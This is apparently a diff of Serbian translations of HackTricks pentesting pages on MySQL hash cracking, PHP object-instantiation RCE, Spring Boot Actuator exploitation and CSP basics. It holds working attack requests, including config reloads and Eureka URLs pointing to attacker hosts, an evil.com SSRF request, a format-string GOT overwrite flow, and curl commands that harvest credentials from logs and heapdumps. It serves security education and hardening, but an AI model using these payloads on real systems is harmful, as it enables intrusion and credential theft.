MySQL ≥ 8.0 čuva heševe lozinki kao **`$mysql-sha2$`** (SHA-256). I Hashcat (mode **21100**) i John-the-Ripper (`--format=mysql-sha2`) podržavaju offline cracking od 2023. Izdvojite kolonu `authentication_string` i prosledite je direktno:
|
||||
MySQL ≥ 8.0 čuva hešove lozinki kao **`$mysql-sha2$`** (SHA-256). I Hashcat (mode **21100**) i John-the-Ripper (`--format=mysql-sha2`) podržavaju offline cracking od 2023. Izdumpujte kolonu `authentication_string` i unesite je direktno:
|
||||
```bash
|
||||
# extract hashes
|
||||
echo "$mysql-sha2$AABBCC…" > hashes.txt
|
||||
@ -695,15 +695,15 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
|
||||
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
|
||||
```
|
||||
### Kontrolna lista za hardening (2025)
|
||||
• Postavite **`LOCAL_INFILE=0`** i **`--secure-file-priv=/var/empty`** da onemogućite većinu primitiva za čitanje/pisanje fajlova.
|
||||
• Uklonite **`FILE`** privilegiju sa naloga aplikacija.
|
||||
• Na Connector/J postavite `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (prazno).
|
||||
• Onemogućite neupotrebljene authentication pluginove i **require TLS** (`require_secure_transport = ON`).
|
||||
• Pratite `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` i nagle `SET GLOBAL` naredbe.
|
||||
• Postavite **`LOCAL_INFILE=0`** i **`--secure-file-priv=/var/empty`** da onemogućite većinu primitive za čitanje/pisanje fajlova.
|
||||
• Uklonite privilegiju **`FILE`** sa naloga aplikacija.
|
||||
• Na Connector/J postavite `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (empty).
|
||||
• Onemogućite neiskorišćene authentication plugins i **require TLS** (`require_secure_transport = ON`).
|
||||
• Pratite pojavu `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` i iznenadnih `SET GLOBAL` naredbi.
|
||||
|
||||
---
|
||||
|
||||
## Izvori
|
||||
## Reference
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
|
||||
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
|
||||
|
@ -6,13 +6,13 @@ Ovo je u suštini sažetak [https://swarm.ptsecurity.com/exploiting-arbitrary-ob
|
||||
|
||||
## Uvod
|
||||
|
||||
Kreiranje proizvoljnih novih objekata, kao što je `new $_GET["a"]($_GET["a"])`, može dovesti do Remote Code Execution (RCE), kako je detaljno opisano u [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Ovaj dokument ističe različite strategije za postizanje RCE.
|
||||
Kreiranje novih proizvoljnih objekata, kao na primer `new $_GET["a"]($_GET["a"])`, može dovesti do Remote Code Execution (RCE), kako je detaljno opisano u [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Ovaj dokument ističe različite strategije za postizanje RCE.
|
||||
|
||||
## RCE putem prilagođenih klasa ili autoloadinga
|
||||
|
||||
Sintaksa `new $a($b)` se koristi za instanciranje objekta gde **`$a`** predstavlja ime klase, a **`$b`** je prvi argument koji se prosleđuje konstruktoru. Ove promenljive mogu poticati iz inputa korisnika poput GET/POST, gde mogu biti stringovi ili nizovi, ili iz JSON-a, gde se mogu pojaviti kao drugi tipovi.
|
||||
Sintaksa `new $a($b)` se koristi za instanciranje objekta gde **`$a`** predstavlja ime klase, a **`$b`** je prvi argument prosleđen konstruktoru. Ove promenljive mogu poticati iz korisničkih inputa kao što su GET/POST, gde mogu biti stringovi ili nizovi, ili iz JSON-a, gde se mogu pojaviti kao drugi tipovi.
|
||||
|
||||
Razmotrite sledeći kod:
|
||||
Consider the code snippet below:
|
||||
```php
|
||||
class App {
|
||||
function __construct ($cmd) {
|
||||
@ -31,9 +31,9 @@ $b = $_GET['b'];
|
||||
|
||||
new $a($b);
|
||||
```
|
||||
U ovom slučaju, postavljanje `$a` na `App` ili `App2` i `$b` na sistemsku naredbu (npr. `uname -a`) dovodi do izvršavanja te naredbe.
|
||||
U ovom slučaju, postavljanje `$a` na `App` ili `App2`, a `$b` na sistemsku komandu (npr. `uname -a`) rezultira izvršavanjem te komande.
|
||||
|
||||
**Funkcije za automatsko učitavanje** mogu biti iskorišćene ako takve klase nisu direktno dostupne. Ove funkcije automatski učitavaju klase iz fajlova kada su potrebne i definišu se pomoću `spl_autoload_register` ili `__autoload`:
|
||||
**Autoloading functions** mogu biti iskorišćene ako takve klase nisu direktno dostupne. Ove funkcije automatski učitavaju klase iz fajlova po potrebi i definišu se pomoću `spl_autoload_register` ili `__autoload`:
|
||||
```php
|
||||
spl_autoload_register(function ($class_name) {
|
||||
include './../classes/' . $class_name . '.php';
|
||||
@ -45,72 +45,72 @@ include $class_name . '.php';
|
||||
|
||||
spl_autoload_register();
|
||||
```
|
||||
Ponašanje automatskog učitavanja (autoloading) varira u zavisnosti od verzije PHP-a, što pruža različite mogućnosti za RCE.
|
||||
Ponašanje automatskog učitavanja varira između verzija PHP-a, nudeći različite mogućnosti za RCE.
|
||||
|
||||
## RCE kroz ugrađene klase
|
||||
## RCE via Built-In Classes
|
||||
|
||||
U nedostatku prilagođenih klasa ili autoloadera, **ugrađene PHP klase** mogu biti dovoljne za RCE. Broj ovih klasa kreće se između 100 i 200, zavisno od verzije PHP-a i ekstenzija. Mogu se nabrojati koristeći `get_declared_classes()`.
|
||||
U odsustvu sopstvenih klasa ili autoloadera, **ugrađene PHP klase** mogu biti dovoljne za RCE. Broj ovih klasa varira između 100 i 200, u zavisnosti od verzije PHP-a i ekstenzija. Mogu se nabrojati koristeći `get_declared_classes()`.
|
||||
|
||||
Konstruktori od interesa mogu se identifikovati putem reflection API-ja, kao što je prikazano u sledećem primeru i na linku [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
|
||||
|
||||
**RCE putem specifičnih metoda uključuje:**
|
||||
**RCE via specific methods includes:**
|
||||
|
||||
### **SSRF + Phar Deserialization**
|
||||
|
||||
Klasa `SplFileObject` omogućava SSRF kroz njen konstruktor, dozvoljavajući konekcije na bilo koji URL:
|
||||
Klasa `SplFileObject` omogućava SSRF preko svog konstruktora, dozvoljavajući povezivanje na bilo koji URL:
|
||||
```php
|
||||
new SplFileObject('http://attacker.com/');
|
||||
```
|
||||
SSRF može dovesti do deserializacionih napada u verzijama PHP-a pre 8.0 koristeći Phar protokol.
|
||||
SSRF može dovesti do deserialization attacks u verzijama PHP pre 8.0 korišćenjem Phar protocol.
|
||||
|
||||
### **Exploiting PDOs**
|
||||
### **Iskorišćavanje PDO-ova**
|
||||
|
||||
Konstruktor klase PDO omogućava konekcije ka bazama podataka preko DSN stringova, potencijalno omogućavajući kreiranje fajlova ili druge interakcije:
|
||||
Konstruktor klase PDO dozvoljava povezivanje sa bazama podataka preko DSN stringova, što potencijalno omogućava kreiranje fajlova ili druge interakcije:
|
||||
```php
|
||||
new PDO("sqlite:/tmp/test.txt")
|
||||
```
|
||||
### **SoapClient/SimpleXMLElement XXE**
|
||||
|
||||
Verzije PHP-a do 5.3.22 i 5.4.12 bile su podložne XXE napadima kroz konstruktore `SoapClient` i `SimpleXMLElement`, u zavisnosti od verzije libxml2.
|
||||
Verzije PHP do 5.3.22 i 5.4.12 bile su podložne XXE napadima preko konstruktora `SoapClient` i `SimpleXMLElement`, u zavisnosti od verzije libxml2.
|
||||
|
||||
## RCE via Imagick Extension
|
||||
|
||||
U analizi zavisnosti projekta otkriveno je da se `Imagick` može iskoristiti za izvršavanje komandi instanciranjem novih objekata. To predstavlja mogućnost za eksploataciju ranjivosti.
|
||||
U analizi **zavisnosti projekta** otkriveno je da se **Imagick** može iskoristiti za **command execution** instanciranjem novih objekata. Ovo predstavlja priliku za eksploataciju ranjivosti.
|
||||
|
||||
### VID parser
|
||||
|
||||
Identifikovana je sposobnost VID parser-a da upisuje sadržaj na bilo koju zadatu putanju u datotečnom sistemu. To može dovesti do postavljanja PHP shell-a u direktorijum dostupan preko weba, ostvarujući Remote Code Execution (RCE).
|
||||
Otkrivena je sposobnost VID parser-a da upisuje sadržaj na bilo koju specificiranu putanju u fajl sistemu. To može dovesti do postavljanja PHP shell-a u direktorijum dostupan sa weba, čime se postiže Remote Code Execution (RCE).
|
||||
|
||||
#### VID Parser + File Upload
|
||||
|
||||
Primećeno je da PHP privremeno smešta upload-ovane fajlove u `/tmp/phpXXXXXX`. VID parser u `Imagick`, koristeći `msl` protokol, može da rukuje wildcard-ima u putanjama fajlova, olakšavajući premeštanje privremenog fajla na željenu lokaciju. Ovaj metod nudi dodatni pristup za proizvoljno upisivanje fajlova u datotečni sistem.
|
||||
Napominje se da PHP privremeno čuva uploadovane fajlove u `/tmp/phpXXXXXX`. VID parser u Imagick-u, koristeći **msl** protokol, može da koristi wildcard-e u putanjama fajlova, što olakšava premještanje privremenog fajla na odabranu lokaciju. Ova metoda pruža dodatni način za izvođenje proizvoljnog upisa fajla u fajl sistem.
|
||||
|
||||
### PHP Crash + Brute Force
|
||||
|
||||
Metod opisan u [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) uključuje upload fajlova koji izazovu pad servera pre nego što budu obrisani. Brute-forcing imena privremenog fajla može omogućiti `Imagick`-u da izvrši proizvoljan PHP kod. Međutim, ova tehnika je bila efikasna samo u zastareloj verziji ImageMagick-a.
|
||||
Metod opisan u [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) podrazumeva upload fajlova koji izazovu pad servera pre brisanja. Brute-forcing imena privremenog fajla omogućava Imagick-u da izvrši proizvoljan PHP kod. Međutim, pokazalo se da je ova tehnika delotvorna samo u zastareloj verziji ImageMagick-a.
|
||||
|
||||
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
|
||||
|
||||
Kada korisnički unos kontroliše ime klase (npr. `new $_GET['model']()`), PHP 7.0.0 je uveo privremeni bag tokom refaktorisanja `Throwable` gde je engine pogrešno tretirao ime klase kao printf format string prilikom rezolucije. Ovo omogućava klasične printf-style primitive unutar PHP-a: leaks sa `%p`, kontrolu broja upisa pomoću width specifikatora, i proizvoljne upise sa `%n` protiv in-process pokazivača (na primer, GOT unosi na ELF build-ovima).
|
||||
Kada korisnički ulaz kontroliše ime klase (npr. `new $_GET['model']()`), u PHP 7.0.0 se pojavio privremeni bag tokom refaktorisanja `Throwable`-a, gde je engine pogrešno tretirao ime klase kao printf format string tokom rezolucije. To omogućava klasične printf-style primitive u PHP-u: leaks sa `%p`, kontrolu broja upisanih karaktera preko width specifikatora, i proizvoljne upise sa `%n` na pokazivače u procesu (na primer, GOT unosi na ELF build-ovima).
|
||||
|
||||
Minimalni ranjiv obrazac za reprodukciju:
|
||||
Minimalni repro ranjiv obrazac:
|
||||
```php
|
||||
<?php
|
||||
$model = $_GET['model'];
|
||||
$object = new $model();
|
||||
```
|
||||
Pregled eksploatacije (iz reference):
|
||||
- Leak adrese pomoću `%p` u nazivu klase da biste pronašli zapisivu metu:
|
||||
Osnovni koraci eksploatacije (prema referenci):
|
||||
- Procure adrese pomoću `%p` u imenu klase da biste pronašli zapisivo mesto:
|
||||
```bash
|
||||
curl "http://host/index.php?model=%p-%p-%p"
|
||||
# Fatal error includes resolved string with leaked pointers
|
||||
```
|
||||
- Koristite pozicione parametre i specifikatore širine da postavite tačan broj bajtova, zatim `%n` da upišete tu vrednost na adresu dostupnu na stogu, ciljajući GOT slot (npr. `free`) da ga delimično prepišete u `system`.
|
||||
- Okidajte preotetu funkciju prosleđivanjem imena klase koje sadrži shell pipe da biste došli do `system("id")`.
|
||||
- Koristite pozicione parametre i specifier-e širine da podesite tačan broj bajtova, zatim `%n` da upišete tu vrednost na adresu dostupnu na steku, ciljajući GOT slot (npr. `free`) da biste ga delimično prepisali u `system`.
|
||||
- Pokrenite preotetu funkciju prosleđivanjem imena klase koje sadrži shell pipe kako biste došli do `system("id")`.
|
||||
|
||||
Napomene:
|
||||
- Radi samo na PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); ispravljeno u narednim izdanjima. Ozbiljnost: kritična ako postoji mogućnost proizvoljne instancijacije klase.
|
||||
- Tipični payloadi povezuju mnogo `%p` da bi prošli kroz stog, zatim `%.<width>d%<pos>$n` da bi se izvršilo parcijalno prepisivanje.
|
||||
- Tipični payloadi povezuju mnogo `%p` da bi se prešao stek, zatim `%.<width>d%<pos>$n` za ostvarenje delimičnog prepisivanja.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Spring Actuatori
|
||||
# Spring Actuators
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,30 +6,30 @@
|
||||
|
||||
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Iz** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
|
||||
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
|
||||
|
||||
## Eksploatacija Spring Boot Actuatora
|
||||
## Exploiting Spring Boot Actuators
|
||||
|
||||
**Pogledajte originalni post na** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||||
**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||||
|
||||
### **Ključne tačke:**
|
||||
### **Key Points:**
|
||||
|
||||
- Spring Boot Actuatori registruju endpoint-e kao što su `/health`, `/trace`, `/beans`, `/env`, itd. U verzijama 1 do 1.4, ovi endpoint-i su dostupni bez autentifikacije. Od verzije 1.5 nadalje, podrazumevano su neosetljivi samo `/health` i `/info`, ali developeri često onemoguće ovu zaštitu.
|
||||
- Određeni Actuator endpoint-i mogu izložiti osetljive podatke ili omogućiti štetne radnje:
|
||||
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, i `/heapdump`.
|
||||
- U Spring Boot 1.x, actuatori su registrovani na root URL-u, dok su u 2.x pod `/actuator/` baznom putanjom.
|
||||
- Spring Boot Actuators register endpoints such as `/health`, `/trace`, `/beans`, `/env`, etc. In versions 1 to 1.4, these endpoints are accessible without authentication. From version 1.5 onwards, only `/health` and `/info` are non-sensitive by default, but developers often disable this security.
|
||||
- Certain Actuator endpoints can expose sensitive data or allow harmful actions:
|
||||
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`.
|
||||
- In Spring Boot 1.x, actuators are registered under the root URL, while in 2.x, they are under the `/actuator/` base path.
|
||||
|
||||
### **Tehnike iskorišćavanja:**
|
||||
### **Exploitation Techniques:**
|
||||
|
||||
1. **Remote Code Execution via '/jolokia'**:
|
||||
- Endpoint `/jolokia` izlaže Jolokia Library, koja omogućava HTTP pristup MBeans.
|
||||
- Akcija `reloadByURL` može se iskoristiti za ponovo učitavanje logging konfiguracija sa spoljnog URL-a, što može dovesti do blind XXE ili Remote Code Execution putem posebno crafted XML konfiguracija.
|
||||
- Primer exploit URL-a: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
||||
- The `/jolokia` actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans.
|
||||
- The `reloadByURL` action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations.
|
||||
- Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
||||
2. **Config Modification via '/env'**:
|
||||
|
||||
- Ako su prisutne Spring Cloud Libraries, endpoint `/env` omogućava izmenu env properties.
|
||||
- Properties se mogu manipulisati da bi se iskoristile ranjivosti, kao što je XStream deserialization ranjivost u Eureka serviceURL.
|
||||
- Primer exploit POST zahteva:
|
||||
- If Spring Cloud Libraries are present, the `/env` endpoint allows modification of environmental properties.
|
||||
- Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL.
|
||||
- Example exploit POST request:
|
||||
|
||||
```
|
||||
POST /env HTTP/1.1
|
||||
@ -40,30 +40,30 @@ Content-Length: 65
|
||||
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||||
```
|
||||
|
||||
3. **Ostala korisna podešavanja:**
|
||||
- Properties kao `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, i `spring.datasource.tomcat.max-active` mogu se manipulisati za razne iskorišćavanja, kao što su SQL injection ili menjanje konekcijskih stringova baze podataka.
|
||||
3. **Other Useful Settings**:
|
||||
- Properties like `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, and `spring.datasource.tomcat.max-active` can be manipulated for various exploits, such as SQL injection or altering database connection strings.
|
||||
|
||||
### **Dodatne informacije:**
|
||||
### **Additional Information:**
|
||||
|
||||
- Kompletna lista podrazumevanih actuatora može se naći [ovde](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
||||
- Endpoint `/env` u Spring Boot 2.x koristi JSON format za izmenu properties, ali opšti koncept ostaje isti.
|
||||
- A comprehensive list of default actuators can be found [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
||||
- The `/env` endpoint in Spring Boot 2.x uses JSON format for property modification, but the general concept remains the same.
|
||||
|
||||
### **Povezane teme:**
|
||||
### **Related Topics:**
|
||||
|
||||
1. **Env + H2 RCE**:
|
||||
- Detalji o iskorišćavanju kombinacije `/env` endpoint-a i H2 baze mogu se naći [ovde](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
||||
- Details on exploiting the combination of `/env` endpoint and H2 database can be found [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
||||
|
||||
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
|
||||
- Rukovanje Spring framework-a matrix parametrima (`;`) u HTTP pathname-ovima može se iskoristiti za Server-Side Request Forgery (SSRF).
|
||||
- Primer exploit zahteva:
|
||||
- The Spring framework's handling of matrix parameters (`;`) in HTTP pathnames can be exploited for Server-Side Request Forgery (SSRF).
|
||||
- Example exploit request:
|
||||
```http
|
||||
GET ;@evil.com/url HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
## HeapDump - izvlačenje tajni (credentials, tokens, internal URLs)
|
||||
## Ispitivanje HeapDump-a za secrets (credentials, tokens, internal URLs)
|
||||
|
||||
Ako je `/actuator/heapdump` izložen, obično možete preuzeti kompletan JVM heap snapshot koji često sadrži žive tajne (DB creds, API keys, Basic-Auth, interne service URL-ove, Spring property mape, itd.).
|
||||
Ako je `/actuator/heapdump` izložen, obično možete preuzeti kompletan JVM heap snapshot koji često sadrži live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, itd.).
|
||||
|
||||
- Preuzimanje i brza trijaža:
|
||||
```bash
|
||||
@ -74,33 +74,33 @@ strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.dat
|
||||
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
|
||||
```
|
||||
|
||||
- Detaljnija analiza sa VisualVM i OQL:
|
||||
- Otvorite heapdump u VisualVM-u, pregledajte instance `java.lang.String` ili pokrenite OQL da biste tražili tajne:
|
||||
- Dublja analiza pomoću VisualVM i OQL:
|
||||
- Otvorite heapdump u VisualVM, pregledajte instance `java.lang.String` ili pokrenite OQL da biste tražili secrets:
|
||||
```
|
||||
select s.toString()
|
||||
from java.lang.String s
|
||||
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
|
||||
```
|
||||
|
||||
- Automatizovano izvlačenje sa JDumpSpider:
|
||||
- Automatizovano izvlačenje pomoću JDumpSpider:
|
||||
```bash
|
||||
java -jar JDumpSpider-*.jar heapdump
|
||||
```
|
||||
Tipični nalazi visoke vrednosti:
|
||||
- Spring `DataSourceProperties` / `HikariDataSource` objekti koji izlažu `url`, `username`, `password`.
|
||||
- `OriginTrackedMapPropertySource` unosi koji otkrivaju `management.endpoints.web.exposure.include`, portove servisa i ugrađeni Basic-Auth u URL-ovima (npr. Eureka `defaultZone`).
|
||||
- Obični HTTP request/response fragmenti uključujući `Authorization: Basic ...` snimljeni u memoriji.
|
||||
Tipični visokovredni nalazi:
|
||||
- Spring `DataSourceProperties` / `HikariDataSource` objekti koji otkrivaju `url`, `username`, `password`.
|
||||
- `OriginTrackedMapPropertySource` entiteti koji otkrivaju `management.endpoints.web.exposure.include`, portove servisa i ugrađeni Basic-Auth u URL-ovima (npr. Eureka `defaultZone`).
|
||||
- Fragmente plain HTTP request/response koji uključuju `Authorization: Basic ...` uhvaćene u memoriji.
|
||||
|
||||
Saveti:
|
||||
- Koristite Spring-fokusiranu wordlistu da brzo otkrijete actuator endpoint-e (npr. SecLists spring-boot.txt) i uvek proverite da li su `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` i `/actuator/configprops` takođe izloženi.
|
||||
- Kredencijali iz heapdump-a često rade za susedne servise, a ponekad i za sistemske korisnike (SSH), pa ih probajte široko.
|
||||
- Koristite wordlist fokusiran na Spring da brzo otkrijete actuator endpoint-e (npr. SecLists spring-boot.txt) i uvek proverite da li su `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, i `/actuator/configprops` takođe izloženi.
|
||||
- Credentials iz heapdump-a često rade za susedne servise i ponekad za system users (SSH), pa ih probajte široko.
|
||||
|
||||
|
||||
## Abusing Actuator loggers/logging to capture credentials
|
||||
## Zloupotreba Actuator loggers/logging za hvatanje credentials
|
||||
|
||||
Ako `management.endpoints.web.exposure.include` to dozvoljava i `/actuator/loggers` je izložen, možete dinamički povećati nivoe logovanja na DEBUG/TRACE za pakete koji obrađuju autentifikaciju i obradu zahteva. U kombinaciji sa čitljivim logovima (preko `/actuator/logfile` ili poznatih putanja za logove), ovo može leak-ovati kredencijale poslate tokom login tokova (npr. Basic-Auth zaglavlja ili form parametri).
|
||||
Ako `management.endpoints.web.exposure.include` to dozvoljava i `/actuator/loggers` je izložen, možete dinamički povećati nivoe logovanja na DEBUG/TRACE za pakete koji obrađuju authentication i request processing. U kombinaciji sa čitljivim logovima (putem `/actuator/logfile` ili poznatih putanja), ovo može leak credentials koji su poslati tokom login flow-ova (npr. Basic-Auth headers ili form parameters).
|
||||
|
||||
- Izdenumerišite i pojačajte osetljive loggere:
|
||||
- Enumerišite i pojačajte osetljive loggere:
|
||||
```bash
|
||||
# List available loggers
|
||||
curl -s http://target/actuator/loggers | jq .
|
||||
@ -114,7 +114,7 @@ curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway
|
||||
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
|
||||
```
|
||||
|
||||
- Pronađite gde se logovi zapisuju i sakupljajte ih:
|
||||
- Pronađite gde se logovi pišu i sakupljajte:
|
||||
```bash
|
||||
# If exposed, read from Actuator directly
|
||||
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
|
||||
@ -123,11 +123,11 @@ curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|user
|
||||
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
|
||||
```
|
||||
|
||||
- Pokrenite login/autentikacioni saobraćaj i parsirajte log za kredencijale. U microservice okruženjima gde gateway stoji ispred auth-a, uključenje TRACE za gateway/security pakete često čini vidljivim zaglavlja i telo formi. Neka okruženja čak periodično generišu sintetički login saobraćaj, što čini sakupljanje trivijalnim kada je logovanje verbose.
|
||||
- Pokrenite login/authentication traffic i parsirajte log za creds. U microservice okruženjima sa gateway-jem ispred auth, omogućavanje TRACE za gateway/security pakete često čini headers i form bodies vidljivim. Neka okruženja čak generišu sintetički login traffic periodično, što čini sakupljanje trivialnim kada je logovanje verbose.
|
||||
|
||||
Napomene:
|
||||
- Vratite nivoe logovanja kada završite: `POST /actuator/loggers/<logger>` sa `{ "configuredLevel": null }`.
|
||||
- Ako je `/actuator/httpexchanges` izložen, on takođe može izneti nedavnu metadata zahteva koja mogu uključivati osetljiva zaglavlja.
|
||||
- Resetujte nivoe logovanja kada završite: `POST /actuator/loggers/<logger>` sa `{ "configuredLevel": null }`.
|
||||
- Ako je `/actuator/httpexchanges` izložen, on takođe može izbaciti recent request metadata koji može uključivati sensitive headers.
|
||||
|
||||
|
||||
## References
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## Šta je CSP
|
||||
|
||||
Content Security Policy (CSP) je prepoznata kao browser tehnologija, prvenstveno usmerena na **zaštitu od napada kao što je cross-site scripting (XSS)**. Funkcioniše tako što definiše i precizira puteve i izvore sa kojih browser može bezbedno da učitava resurse. Ti resursi obuhvataju elemente poput slika, frejmova i JavaScript-a. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa iste domene (self), uključujući inline resurse i izvršavanje string koda putem funkcija kao što su `eval`, `setTimeout`, ili `setInterval`.
|
||||
Content Security Policy (CSP) je prepoznat kao browser tehnologija, prvenstveno namenjena **shielding against attacks such as cross-site scripting (XSS)**. Funkcioniše tako što definiše i precizira puteve i izvore sa kojih pregledač može bezbedno učitavati resurse. Ti resursi obuhvataju različite elemente kao što su slike, frame-ovi i JavaScript. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa istog domena (self), uključujući inline resurse i izvršavanje string koda kroz funkcije kao što su `eval`, `setTimeout` ili `setInterval`.
|
||||
|
||||
Implementacija CSP se sprovodi putem **response headers** ili uključivanjem **meta elemenata u HTML stranicu**. U skladu sa ovom politikom, browseri proaktivno primenjuju ova pravila i odmah blokiraju svako otkriveno kršenje.
|
||||
Implementacija CSP-a se sprovodi kroz **response headers** ili ubacivanjem **meta elements into the HTML page**. Pregledači, poštujući ovu politiku, aktivno primenjuju ova pravila i odmah blokiraju svako otkriveno kršenje.
|
||||
|
||||
- Implementirano putem response header-a:
|
||||
- Implementirano putem response header:
|
||||
```
|
||||
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
||||
```
|
||||
@ -18,14 +18,14 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
||||
```
|
||||
### Zaglavlja
|
||||
|
||||
CSP se može primeniti ili nadgledati korišćenjem ovih zaglavlja:
|
||||
CSP se može primenjivati ili nadgledati pomoću sledećih zaglavlja:
|
||||
|
||||
- `Content-Security-Policy`: Sprovodi CSP; pregledač blokira bilo koja kršenja.
|
||||
- `Content-Security-Policy-Report-Only`: Koristi se za nadgledanje; izveštava o kršenjima bez njihovog blokiranja. Idealan je za testiranje u preprodukcijskim okruženjima.
|
||||
- `Content-Security-Policy`: Primenjuje CSP; pregledač blokira svako kršenje.
|
||||
- `Content-Security-Policy-Report-Only`: Koristi se za nadzor; izveštava o kršenjima bez njihovog blokiranja. Idealno za testiranje u predprodukcijskim okruženjima.
|
||||
|
||||
### Definisanje resursa
|
||||
|
||||
CSP ograničava izvore (origins) za učitavanje i aktivnog i pasivnog sadržaja, kontrolišući aspekte kao što su izvršavanje inline JavaScript-a i upotreba `eval()`. Primer politike je:
|
||||
CSP ograničava porekla za učitavanje i aktivnog i pasivnog sadržaja, kontrolišući aspekte kao što su izvršavanje inline JavaScript-a i upotreba `eval()`. Primer politike je:
|
||||
```bash
|
||||
default-src 'none';
|
||||
img-src 'self';
|
||||
@ -39,42 +39,42 @@ object-src 'none';
|
||||
```
|
||||
### Direktive
|
||||
|
||||
- **script-src**: Dozvoljava specifične izvore za JavaScript, uključujući URL-ove, inline skripte i skripte pokrenute event handler-ima ili XSLT stylesheet-ima.
|
||||
- **default-src**: Postavlja podrazumevanu politiku za preuzimanje resursa kada specifične fetch direktive nedostaju.
|
||||
- **child-src**: Specifikuje dozvoljene resurse za web workere i ugrađeni sadržaj frejmova.
|
||||
- **connect-src**: Ograničava URL-ove koji se mogu učitati korišćenjem interfejsa kao što su fetch, WebSocket, XMLHttpRequest.
|
||||
- **frame-src**: Ograničava URL-ove za frejmove.
|
||||
- **frame-ancestors**: Specifikuje koji izvori mogu da ugrade trenutnu stranicu, primenljivo na elemente kao što su `<frame>`, `<iframe>`, `<object>`, `<embed>`, i `<applet>`.
|
||||
- **script-src**: Dozvoljava određene izvore za JavaScript, uključujući URL-ove, inline skripte i skripte pokrenute event handler-ima ili XSLT stylesheet-ima.
|
||||
- **default-src**: Postavlja podrazumevanu politiku za dohvat resursa kada specifične direktive za dohvat nedostaju.
|
||||
- **child-src**: Specifikuje dozvoljene resurse za web workere i sadržaj ugrađenih frame-ova.
|
||||
- **connect-src**: Ograničava URL-ove koji se mogu učitati koristeći interfejse kao što su fetch, WebSocket, XMLHttpRequest.
|
||||
- **frame-src**: Ograničava URL-ove za frame-ove.
|
||||
